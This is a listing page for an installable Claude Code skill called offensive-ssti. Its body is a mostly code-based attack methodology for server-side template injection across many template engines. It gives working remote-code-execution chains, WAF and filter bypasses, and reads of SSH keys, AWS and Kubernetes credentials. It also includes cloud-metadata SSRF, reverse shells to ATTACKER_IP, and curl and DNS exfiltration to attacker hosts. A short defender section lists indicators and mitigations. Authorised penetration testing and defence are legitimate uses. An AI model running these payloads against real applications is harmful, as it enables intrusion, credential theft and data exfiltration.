mcpField
O
offensive-ssti

offensive-ssti

github.com/snailsploit安全9.7k145 次安装2 周前更新
代码仓库

关于 offensive-ssti

用于评估 Web 应用服务端模板注入的进攻性安全技能,面向安全测试人员。涵盖引擎识别、利用路径、过滤绕过及安全的概念验证记录。

主要功能

  1. 01模板引擎指纹识别
  2. 02注入入口映射
  3. 03引擎专属利用链
  4. 04过滤器与 WAF 绕过
  5. 05盲测与带外测试
  6. 06安全概念验证记录

适用场景

  1. 01测试用户可控的模板输入
  2. 02根据错误识别模板引擎
  3. 03评估文件和数据泄露风险
  4. 04记录非破坏性测试证据

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-ssti

安装后在 Claude Code 中输入/offensive-ssti确认已加载。

详细介绍

服务端模板注入(SSTI)——攻击方法论

只要用户可控的输入被拼接到服务端模板字符串中,并由引擎将其作为代码求值,就会存在 SSTI。引擎会执行攻击者提供的指令,从而赋予攻击者访问语言运行时的权限;几乎所有引擎都能通过宿主语言的对象模型实现远程代码执行。任何将原始用户输入传递给 render_template_string()、Template() 或 compile() 等函数的应用,都可能遭遇 SSTI。

CWE-1336。MITRE ATT&CK T1190。

快速工作流

  1. 梳理注入面:URL 参数、POST 请求体、JSON 值、路径段、标头、Cookie。
  2. 注入多态探测字符串和特定引擎的算术表达式;记录求值结果、错误或空白输出。
  3. 通过决策树探测、错误特征和变量枚举识别引擎(第 1 节)。
  4. 确认服务端执行——排除客户端模板注入(AngularJS、Vue.js)。
  5. 提升到信息泄露:转储配置、环境变量、机密信息和内部路径。
  6. 使用特定引擎的利用链实现代码执行;若受到阻拦,则使用绕过技术(第 6 节)。
  7. 串联利用以造成更大影响:读取文件、向云元数据发起 SSRF、反向 Shell、内部横向移动。
  8. 制作非破坏性 PoC,使用唯一标记并捕获完整的请求/响应链。

1. 引擎检测与指纹识别

1.1 多态探测字符串
${{<%[%'"}}%\          Universal polyglot
{{7*7}}                Double-curly arithmetic
{{7*'7'}}              String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %>             ERB / EJS style
#{7*7}                 Pebble / Pug / Thymeleaf contexts
@(7+7)                 Razor (.NET)

缩小引擎范围的探测:

{{config}}             Jinja2/Flask config dict
{{_self.env}}          Twig Environment object
{$smarty.version}      Smarty version string
<#assign x=1>          Freemarker (then reference x in dollar-curly)

对于 Velocity,注入 #set( $x = 7 * 7 ),然后引用 $x。 对于 Thymeleaf/SpEL,注入带有 T(java.lang.Math).PI 的美元符号-花括号表达式。 对于 Mako,注入带有 self.module.__name__ 的美元符号-花括号表达式。

1.2 决策树
{{7*7}} --> 49?
  YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
                    --> "49"?      --> Twig
                    --> error?     --> Handlebars
  NO  --> dollar-curly with 7*7 --> 49?
            YES --> dollar-curly with class ref   --> Velocity
                    dollar-curly with T(Math).PI  --> Thymeleaf
                    <#assign x=1> then ref x      --> Freemarker
                    error contains "mako"         --> Mako
            NO  --> <%= 7*7 %> --> 49?
                      error with "erb"/"Erubi"    --> ERB
                      error with "ejs"            --> EJS
                    @(7+7) --> 14?                --> Razor
1.3 错误特征
特征引擎
jinja2.exceptions.UndefinedErrorJinja2
Twig\Error\SyntaxErrorTwig
freemarker.core.ParseExceptionFreemarker
org.apache.velocity.exceptionVelocity
com.mitchellbosecke.pebble.errorPebble
SmartyCompilerExceptionSmarty
mako.exceptions.SyntaxExceptionMako
带 Handlebars 上下文的 Parse errorHandlebars
带 ERB 路径的 SyntaxErrorERB
org.thymeleaf.exceptions.TemplateProcessingThymeleaf
带 .ejs 路径的 SyntaxErrorEJS
Pug:ErrorPug
1.4 盲测检测

基于时间: {{range(99999999)|join}}(Jinja2)、<%= sleep(5) %>(ERB)。 对于 Java 引擎,注入带有 T(java.lang.Thread).sleep(5000) 的美元符号-花括号表达式。

带外 DNS: 使用 Burp Collaborator 或 interactsh。Jinja2: {{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}。 Twig:{{['nslookup UNIQUE.oastify.com']|map('system')}}。

错误推断: 比较 {{7*7}} 与 {{7*'INVALID}}——不同的响应行为可确认模板处理。


2. Jinja2/Python

利用依赖于沿 MRO 遍历到 object、枚举子类,以及访问 __globals__/__builtins__。

2.1 MRO 遍历与子类枚举
{{''.__class__.__mro__[1]}}                    # Reach object base class
{{''.__class__.__mro__[1].__subclasses__()}}   # List all subclasses

# Find subprocess.Popen index (varies by Python version -- never hardcode)
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in cls.__name__ %}{{ loop.index0 }}{% endif %}
{% endfor %}
2.2 RCE 利用链
# Via subprocess.Popen (replace INDEX with runtime value)
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0]}}

# Via self.__init__.__globals__
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Via request.application (Flask)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Via config object
{{config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Via cycler (bypasses some sandboxes)
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}

# Via lipsum / namespace / joiner globals
{{lipsum.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}

# Via warnings module search
{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{x()._module.__builtins__['__import__']('os').popen('id').read()}}
  {% endif %}
{% endfor %}
2.3 文件操作与信息泄露
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}    # Read file
{{''.__class__.__mro__[1].__subclasses__()[40]('/tmp/x','w').write('y')}} # Write file
{{config}}                                                                # Flask config
{{config['SQLALCHEMY_DATABASE_URI']}}                                     # DB URI
{{request.environ}}                                                       # WSGI env

3. Twig/PHP

3.1 旧版(Twig 1.x)——_self.env
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
3.2 现代版本(Twig 2.x/3.x)——过滤器回调
{{'id'|filter('system')}}                  # filter() with system
{{'id'|filter('passthru')}}                # filter() with passthru
{{['id']|map('system')|join}}              # map() callback
{{['id',0]|sort('system')|join}}           # sort() callback
{{[0,'id']|reduce('system')}}              # reduce() callback
3.3 信息泄露
{{app.request.server.all|join(',')}}       # Symfony server vars
{{dump(app)}}                              # Full app dump
{{'/etc/passwd'|file_excerpt(1,100)}}      # File read (debug mode)
{{'/etc/passwd'|file_get_contents}}        # If exposed as filter

4. Java 模板引擎

4.1 Freemarker——Execute 与 ObjectConstructor

通过 Execute 类实现 RCE——使用 <#assign> 实例化该类,然后在美元符号-花括号表达式中引用它,并将命令字符串作为参数:

GET /page?input=%3C%23assign+cmd%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bcmd(%22id%22)%7D HTTP/1.1
Host: target.example.com

用于 ProcessBuilder 的 ObjectConstructor:

<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
<#assign proc = pb.start()>
4.2 Velocity——Runtime.exec
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
#set($s = $class.inspect("java.util.Scanner").type)
#set($sc = $s.getDeclaredConstructor($process.getInputStream().getClass()).newInstance($process.getInputStream()))
$sc.useDelimiter("\\A").next()
4.3 Pebble -- 反射链
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes, 0, bytes.length) }}
4.4 Thymeleaf -- 通过预处理使用 SpEL

Thymeleaf 会在解析模板前对双下划线包裹的表达式求值。可注入路径变量或参数:

GET /page/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x HTTP/1.1
Host: target.example.com

读取文件:

GET /page/__${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}__::.x HTTP/1.1
Host: target.example.com

通过 Character 引用绕过 SpEL 关键字: T(Character).toString(105).concat(T(Character).toString(100)) 会生成 id。

访问 Spring Bean:@environment.getProperty('spring.datasource.password')。


5. 其他引擎

5.1 Smarty (PHP)
{$smarty.version}                           # Version disclosure
{php}echo shell_exec('id');{/php}           # If {php} tags enabled (legacy)
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
{math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}
5.2 Mako (Python)

Mako 会编译为 Python 模块,可完全访问运行时。块式写法:

<% import os; result = os.popen('id').read() %>

然后在美元符号和花括号表达式中输出变量。URL 编码的单行写法:

GET /page?name=%24%7Bself.module.cache.util.os.popen('id').read()%7D HTTP/1.1
Host: target.example.com
5.3 ERB (Ruby)
<%= system("id") %>                                     # Command exec
<%= `id` %>                                             # Backtick exec
<%= File.open('/etc/passwd').read() %>                  # File read
<%= Rails.application.credentials.secret_key_base %>    # Rails secrets
<%= require 'socket'; f=TCPSocket.open("ATTACKER",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
5.4 Handlebars (Node.js)

其设计本身不含逻辑;要实现 RCE,需要原型污染或不安全的辅助函数:

{{#with "s" as |string|}}
  {{#with "e"}}{{#with split as |conslist|}}
    {{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
    {{#with string.split as |codelist|}}
      {{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}
      {{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
    {{/with}}
  {{/with}}{{/with}}
{{/with}}
5.5 EJS (Node.js)
<%= global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>

通过 outputFunctionName 实现原型污染:

POST /render HTTP/1.1
Content-Type: application/json

{"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}
5.6 Pug / Nunjucks (Node.js)

Pug:

- var x = global.process.mainModule.require('child_process').execSync('id').toString()
p= x

Nunjucks:

{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}

6. 过滤器和 WAF 绕过

6.1 绕过字符限制 (Jinja2)
# Dot blocked -- use |attr() or brackets
{{request|attr('application')}}
{{request['application']}}

# Underscore blocked -- hex encode (\x5f = _)
{{''['\x5f\x5fclass\x5f\x5f']}}
# Or pass via request param: ?a=__class__
{{''|attr(request.args.a)}}

# Brackets/quotes blocked -- chain |attr() with request.args
# URL: ?a=__class__&b=__mro__&c=__subclasses__
{{()|attr(request.args.a)|attr(request.args.b)|last|attr(request.args.c)()}}
6.2 字符串构造
# Tilde concatenation
{{''|attr('__cla'~'ss__')}}

# Join filter
{{''|attr(['__cla','ss__']|join)}}

# Plus in brackets
{{''['__cla'+'ss__']}}

# chr() construction
{% set chr = ''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr %}
{{''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}

# Twig tilde
{{('sys'~'tem')('id')}}
6.3 属性访问替代方式
{{obj|attr('__class__')}}                   # |attr() filter
{{obj.__getattribute__('__class__')}}       # __getattribute__
{{obj['__class__']}}                        # bracket notation
{{obj|attr('__getitem__')('key')}}          # |attr() + __getitem__
6.4 编码与走私
# Hex/octal encoding
{{request['\x5f\x5fclass\x5f\x5f']}}
{{request|attr('\137\137class\137\137')}}

# Request parameter smuggling
# URL: ?c=__class__
{{request|attr(request.args.c)}}
# URL: ?f=%s%sclass%s%s&a=_
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}
# URL: ?l=a&a=_&a=_&a=class&a=_&a=_
{{request|attr(request.args.getlist(request.args.l)|join)}}
6.5 WAF 规避技巧
Parameter splitting:     ?a={{&b=7*7&c=}}
HTTP Param Pollution:    ?name={{7*7}}&name=safe (backend takes first, WAF last)
Content-Type confusion:  Submit as application/json when WAF inspects form-urlencoded
Double URL encoding:     %257B%257B7*7%257D%257D
Whitespace injection:    {{ 7 * 7 }}, {%- if 1 -%}49{%- endif -%}
Newline injection:       {{\n7*7\n}} (WAFs may not match cross-line patterns)
6.6 特定引擎的绕过方式

Freemarker -- 限制 ?new() 时,使用 ObjectConstructor:

<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>

Thymeleaf -- 通过构造 T(Character).toString() 调用生成字符串,以避开关键字过滤器。


7. 盲注利用

7.1 基于时间
{{range(99999999)|join}}                   # Jinja2: CPU-intensive delay

{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{x()._module.__builtins__['__import__']('time').sleep(5)}}
  {% endif %}
{% endfor %}                               # Jinja2: explicit sleep
{{['sleep 5']|map('system')}}             # Twig
<%= sleep(5) %>                            # ERB

Freemarker:赋值 Execute,并使用 "sleep 5" 调用。Thymeleaf:在预处理包装中使用包含 T(java.lang.Thread).sleep(5000) 的美元符号和花括号表达式。

7.2 带外 DNS 回调
# Jinja2 -- confirm execution
{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://UNIQUE.oastify.com').read()}}

# Jinja2 -- exfiltrate data in subdomain
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup $(whoami).UNIQUE.oastify.com').read()}}
{{['curl http://UNIQUE.oastify.com']|map('system')}}    # Twig
<%= `nslookup #{`whoami`.chomp}.UNIQUE.oastify.com` %>   # ERB
7.3 错误与布尔推断
{{config.__class__.__name__ + 1}}          # Type error leaks data in error page
{{1/0}}                                    # Division by zero with engine info

# Boolean blind -- extract character by character
{% if ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()[0] == 'r' %}TRUE{% endif %}

8. 链式利用

8.1 SSTI 到 SSRF
# Cloud metadata
{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}

# Internal service access
{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://internal-api:8080/admin').read()}}
8.2 SSTI 到文件读取
{{''.__class__.__mro__[1].__subclasses__()[40]('app.py').read()}}                               # Source code
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/config/database.yml').read()}}          # DB creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.ssh/id_rsa').read()}}                 # SSH keys
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.aws/credentials').read()}}            # AWS creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/run/secrets/kubernetes.io/serviceaccount/token').read()}}  # K8s token
{{''.__class__.__mro__[1].__subclasses__()[40]('/proc/self/environ').read()}}                    # Process env
8.3 SSTI 到反向 Shell

Jinja2:

{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}

Freemarker:赋值 Execute,并使用 bash -c {echo,BASE64_REVSHELL}|{base64,-d}|{bash,-i} 调用。

ERB:

<%= require 'socket'; f=TCPSocket.open("ATTACKER_IP",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
8.4 SSTI 到提权枚举
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id && groups').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('sudo -l 2>&1').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('find / -perm -4000 -type f 2>/dev/null').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('uname -a').read()}}
8.5 SSTI 到数据外泄
# Chunked DNS exfil
{{self.__init__.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd | base64 -w0 | cut -c1-60 | xargs -I{} nslookup {}.UNIQUE.oastify.com').read()}}

# HTTP POST exfil
{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl -X POST -d @/etc/passwd http://ATTACKER/exfil').read()}}

检测 / 防御者视角

攻击指标:

  • 输入中的模板分隔符:{{、{%、<%、#{、#set(、<#assign。
  • MRO 字符串:__class__、__mro__、__subclasses__、__globals__、__builtins__。
  • Java 反射:getRuntime、ProcessBuilder、forName、T(java.lang。
  • 用户触发的请求在响应中出现模板错误。

失陷指标:

  • Web 工作进程启动了异常子进程(sh、bash、curl、nslookup)。
  • 应用进程在 /tmp 或 Web 根目录中新建文件。
  • 向回调服务或不熟悉的 IP 建立出站连接。
  • 不应查询 169.254.169.254 的容器访问了云元数据。

防护措施:

  • 切勿将用户输入拼接到模板字符串中 -- 应使用模板变量。
  • 在 CI 中阻止危险 API:render_template_string()、传入用户输入的 Template()、Environment.from_string()。
  • 启用沙箱:Jinja2 SandboxedEnvironment、Freemarker SAFER_RESOLVER。
  • 将 Twig 过滤器和函数限制在安全允许列表中。
  • 禁用 Smarty 中的 {php}、EJS 中的 compileDebug,以及 Thymeleaf 中的 SpEL 预处理。
  • 以最小权限运行应用,使用 seccomp/AppArmor 和只读根文件系统。
  • 将 WAF 规则作为纵深防御(绕过技巧见第 6 节)。
  • 跟踪 CVE:CVE-2024-22195(Jinja2 xmlattr 绕过)、CVE-2024-46507(Yeti RCE)。

交互速查表

阶段操作工具 / 技术
侦察绘制输入反射点Burp Suite、waybackurls、qsreplace
检测注入多态载荷和算术探测ffuf、Burp Intruder、手动
指纹识别通过决策树 / 错误识别引擎错误特征、变量探测
验证确认服务端执行时间分析、源码检查
利用使用特定引擎的 RCE 攻击链tplmap、SSTImap、TInjA、手动
绕过规避 WAF / 过滤器第 6 节技术
盲注带外、基于时间、基于错误的方法Burp Collaborator、interactsh
提权链接到文件读取、SSRF、shell、提权第 8 节攻击链
证明使用唯一标记的非破坏性 PoCDNS 回调、唯一文件
工具速查
# tplmap
python tplmap.py -u 'http://target.example.com/page?name=test'              # Basic scan
python tplmap.py -u 'http://target.example.com/page?name=test' -e jinja2    # Force engine
python tplmap.py -u 'http://target.example.com/page' -d 'name=test'         # POST injection
python tplmap.py -u 'http://target.example.com/page?name=test' --os-cmd id  # Execute command
python tplmap.py -u 'http://target.example.com/page?name=test' --os-shell   # Interactive shell

# SSTImap
python3 sstimap.py -u 'https://target.example.com/page?name=test'           # Auto-detect
python3 sstimap.py -u 'https://target.example.com/page?name=test' -S        # Shell
python3 sstimap.py -u 'https://target.example.com/page?name=test' -C 'id'   # Run command

# Parameter discovery
waybackurls http://target.example.com | qsreplace "ssti{{9*9}}" > fuzz.txt
ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81"
arjun -u http://target.example.com/page --stable

重要参考资料

评论

支持 Markdown